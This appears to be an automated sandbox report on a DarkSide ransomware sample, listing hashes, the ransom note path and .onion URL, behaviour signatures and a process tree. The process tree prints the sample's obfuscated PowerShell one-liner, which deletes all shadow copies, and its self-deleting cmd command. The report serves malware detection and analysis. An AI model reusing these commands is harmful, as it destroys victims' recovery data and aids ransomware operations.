Analysis
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max time kernel
65s -
max time network
115s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
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Target
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
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Size
59KB
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MD5
f9fc1a1a95d5723c140c2a8effc93722
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SHA1
ce2480dec2ee0a47549fad355c3cf154f9aab836
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SHA256
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa
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SHA512
3816029ac654cfc546e78c5f331ad61ef21ebab0e92bacdba5a5d2cd9149002930cf46c9a1dab357697540849229d2fc0a490433aa95713d36685334ce8e8b11
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidfqzcuhtk2.onion/DZYNTXY9RP5P8DQ96EFKV2YTOVAMA3VVHL5V0RASUBLBWZGLG51U4LOOBSHV9R0Y
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 21 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"C:\Users\Admin\AppData\Local\Temp\43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\43E615~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
c95bade6b9d51443aa9d8366909d1599
SHA18319a4ed07ec2fd08af47d88878c05c0298ae4f3
SHA25631d4b92e8fc7e7f33a59d715683f5a77b012ae9925bf753f38afc7ff2e63d08d
SHA5128283a4c000296cddcc920bc219c25a1bd8f3111b3493385c661a26e2770179fb4bb3437f71972340cbad94d61f4ef54496e552105aaa00409c060c3d2ae37d6c
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memory/2848-117-0x0000000000000000-mapping.dmp
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memory/2848-123-0x0000020EED8B0000-0x0000020EED8B1000-memory.dmpFilesize
4KB
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memory/2848-128-0x0000020EEFB40000-0x0000020EEFB41000-memory.dmpFilesize
4KB
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memory/2848-129-0x0000020EED8E0000-0x0000020EED8E2000-memory.dmpFilesize
8KB
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memory/2848-130-0x0000020EED8E3000-0x0000020EED8E5000-memory.dmpFilesize
8KB
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memory/2848-139-0x0000020EED8E6000-0x0000020EED8E8000-memory.dmpFilesize
8KB
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memory/4584-147-0x0000000000000000-mapping.dmp